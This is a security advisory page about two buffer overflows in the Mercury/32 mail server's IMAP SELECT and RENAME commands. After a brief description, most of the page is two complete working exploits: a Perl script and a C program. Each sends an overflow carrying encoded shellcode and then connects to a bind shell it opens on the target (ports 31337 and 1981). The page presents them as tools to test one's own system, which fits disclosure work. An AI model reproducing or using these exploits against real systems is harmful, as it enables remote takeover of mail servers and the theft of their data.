|
Brought to you by:
Suppliers of:
|
|
|
| |
Mercury (or Mercury/32 as it is known) "runs on Windows 95, 98, NT4, 2000 or XP workstations and provides mail services to a single computer or a local area network. In addition the product has a full fledged IMAP4 server providing remote IMAP access to your local mailboxes".
Two exploitable buffer overflows have been found in Mercury/32, one in its SELECT command, and another in its RENAME command. The following exploit codes can be used to test your system for the mentioned vulnerabilities. |
| |
Credit:
The information has been provided by NoPh0BiA and JohnH.
|
| |
Exploit:
Exploit code for the Mercury32 IMAP Rename buffer overflow:
#!/usr/bin/perl
#no@0x00:~/Exploits/Mercury-IMAP$ perl exploit.pl 10.20.30.2
#***Mercury/32 Mail IMAP Remote Buffer Overflow Exploit by NoPh0BiA.***
#[x] Connected!
#[x] Sending Login..done.
#[x] Sending Bad code..done.
#[x] Checking If exploit worked..
#[x] 0wn3d!
#
#Microsoft Windows 2000 [Version 5.00.2195]
#
#(C) Copyright 1985-2000 Microsoft Corp.
#
#C:\MERCURY>
# Greets to Reed Arvin, NtWaK0 and schap ;)
use IO::Socket;
if(@ARGV != 1){die "Usage: Target\n";}
print "***Mercury/32 Mail IMAP Remote Buffer Overflow Exploit by NoPh0BiA.***\n";
#win2k sp4 ;)
$ret = "\xD3\x39\xD3\x77";
$shellcode=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xb1\x0d".
"\x6e\x12\x83\xeb\xfc\xe2\xf4\x4d\xe5\x38\x12\xb1\x0d\x3d\x47\xe7".
"\x5a\xe5\x7e\x95\x15\xe5\x57\x8d\x86\x3a\x17\xc9\x0c\x84\x99\xfb".
"\x15\xe5\x48\x91\x0c\x85\xf1\x83\x44\xe5\x26\x3a\x0c\x80\x23\x4e".
"\xf1\x5f\xd2\x1d\x35\x8e\x66\xb6\xcc\xa1\x1f\xb0\xca\x85\xe0\x8a".
"\x71\x4a\x06\xc4\xec\xe5\x48\x95\x0c\x85\x74\x3a\x01\x25\x99\xeb".
"\x11\x6f\xf9\x3a\x09\xe5\x13\x59\xe6\x6c\x23\x71\x52\x30\x4f\xea".
"\xcf\x66\x12\xef\x67\x5e\x4b\xd5\x86\x77\x99\xea\x01\xe5\x49\xad".
"\x86\x75\x99\xea\x05\x3d\x7a\x3f\x43\x60\xfe\x4e\xdb\xe7\xd5\x30".
"\xe1\x6e\x13\xb1\x0d\x39\x44\xe2\x84\x8b\xfa\x96\x0d\x6e\x12\x21".
"\x0c\x6e\x12\x07\x14\x76\xf5\x15\x14\x1e\xfb\x54\x44\xe8\x5b\x15".
"\x17\x1e\xd5\x15\xa0\x40\xfb\x68\x04\x9b\xbf\x7a\xe0\x92\x29\xe6".
"\x5e\x5c\x4d\x82\x3f\x6e\x49\x3c\x46\x4e\x43\x4e\xda\xe7\xcd\x38".
"\xce\xe3\x67\xa5\x67\x69\x4b\xe0\x5e\x91\x26\x3e\xf2\x3b\x16\xe8".
"\x84\x6a\x9c\x53\xff\x45\x35\xe5\xf2\x59\xed\xe4\x3d\x5f\xd2\xe1".
"\x5d\x3e\x42\xf1\x5d\x2e\x42\x4e\x58\x42\x9b\x76\x3c\xb5\x41\xe2".
"\x65\x6c\x12\xcb\x64\xe7\xf2\xdb\x1d\x3e\x45\x4e\x58\x4a\x41\xe6".
"\xf2\x3b\x3a\xe2\x59\x39\xed\xe4\x2d\xe7\xd5\xd9\x4e\x23\x56\xb1".
"\x84\x8d\x95\x4b\x3c\xae\x9f\xcd\x29\xc2\x78\xa4\x54\x9d\xb9\x36".
"\xf7\xed\xfe\xe5\xcb\x2a\x36\xa1\x49\x08\xd5\xf5\x29\x52\x13\xb0".
"\x84\x12\x36\xf9\x84\x12\x36\xfd\x84\x12\x36\xe1\x80\x2a\x36\xa1".
"\x59\x3e\x43\xe0\x5c\x2f\x43\xf8\x5c\x3f\x41\xe0\xf2\x1b\x12\xd9".
"\x7f\x90\xa1\xa7\xf2\x3b\x16\x4e\xdd\xe7\xf4\x4e\x78\x6e\x7a\x1c".
"\xd4\x6b\xdc\x4e\x58\x6a\x9b\x72\x67\x91\xed\x87\xf2\xbd\xed\xc4".
"\x0d\x06\xe2\x3b\x09\x31\xed\xe4\x09\x5f\xc9\xe2\xf2\xbe\x12";
if(!($socket = IO::Socket::INET->new(PeerAddr => "$ARGV[0]",
PeerPort => '143',
Proto => 'tcp',
Timeout => '2')))
{
die "Unable to connect to target.\n";
}
print "\[x\] Connected!\n";
$buffer = "1 rename inbox " . "A"x516 . $ret . "B"x30 . $shellcode . "\r\n";
print "\[x\] Sending Login..";
$login = "1 login test test\r\n";
print $socket $login;
sleep(2);
print "done.\n";
print "\[x\] Sending Bad code..";
print $socket $buffer;
sleep(2);
print "done.\n";
close($socket);
print "[x] Checking If exploit worked..\n";
if(!($socket = IO::Socket::INET->new(PeerAddr => "$ARGV[0]",
PeerPort => '31337',
Proto => 'tcp',
Timeout => '2')))
{
die "[x] Exploit Failed..\n";
}
printf "[x] 0wn3d!\n\n";
while(1){
$socket->recv($lar,5000);
print "$lar";
sleep(1);
$helo = <STDIN>;
print $socket $helo;
}
Exploit code for the Mecury32 IMAP SELECT Buffer Overflow:
/** Remote Mercury32 Imap exploit
** By: JohnH@secnetops.com
**
** Notes: First public release of code by me. Im sick of seeing non working exploits posted to FD/BUGTRAQ.
** *HINT**HINT* WWW.WHITEHAT.CO.IL. STOP CALC.EXE and show us some real skill.
**
** Date: 11/30/04
**/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>
#define version "1.0"
int usage(char *p);
char sc_bind[] =
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\x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55"
//decoder end sign
"\x45\x59\x34\x53";
int iType;
int iPort=143;
char *ip=NULL;
char username[256];
char password[256];
int main(int argc, char **argv)
{
int c;
if(argc < 2)
{
usage(argv[0]);
return 0;
}
while((c = getopt(argc, argv, "u:P:h:p:")) != EOF) {
switch(c) {
case 'u':
strncpy(username, optarg, sizeof (username) - 1);
break;
case 'P':
strncpy(password, optarg, sizeof (password) - 1);
break;
case 'h':
ip=optarg;
break;
case 'p':
iPort=atoi(optarg);
break;
default:
usage (argv[0]);
return 0;
}
}
if((!ip))
{
usage(argv[0]);
printf("[-] Invalid parameter.\n");
return 0;
}
SendExploit();
return 0;
}
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int SendExploit()
{
struct hostent *he;
struct in_addr in;
struct sockaddr_in peer;
int iErr, s,s2;
int x;
char buffer[9000];
char buffer2[9000];
char szRecvBuff[0x1000];
char *ip2=NULL;
printf( "MERCURY32 Imap exploit\n");
printf( "By: JohnH@secnetops.com\n");
printf("[+] Entering God Mode\n");
// Login
memset(buffer2,0x0,sizeof(buffer2));
strcat(buffer2,"a001 LOGIN ");
strcat(buffer2,username);
strcat(buffer2," ");
strcat(buffer2,password);
strcat(buffer2,"\n");
bzero (buffer,sizeof(buffer));
strcat(buffer,"a001 SELECT ");
x = strlen(buffer);
memset(buffer+x,0x41,260);
x+=260;
*(unsigned int *)&buffer[x] = 0x01f9c8fa;
x+=4;
memset(buffer+x,0x90,100);
x+=100;
memcpy (buffer+x, sc_bind, strlen(sc_bind));
x+=strlen(sc_bind);
memcpy(buffer+x,"\r\n",2);
x+=2;
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
peer.sin_family = AF_INET;
peer.sin_port = htons(iPort);
peer.sin_addr.s_addr = inet_addr(ip);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("socket");
return(0);
}
if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
sleep(3);
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = send(s, buffer2, strlen(buffer2),0);
printf("[+] Sent: %d\n", iErr);
iErr = send(s, buffer, x,0);
printf("[+] Sent: %d\n", iErr);
printf("[+] Wait for shell.\n");
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr;
sleep(5);
peer.sin_family = AF_INET;
peer.sin_port = htons(1981);
peer.sin_addr.s_addr = ip2;
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf ("[+] We got a shell \n");
shell(s2);
return 0;
}
int usage(char *p)
{
printf("MERCURY32 Imap Remote Exploit\n");
printf("By: JohnH@secnetops.com\n");
printf( "Usage: %s <-u username> <-p password> <-h host> <-p port>\n",p);
exit(0);
}
|
|
|
|
|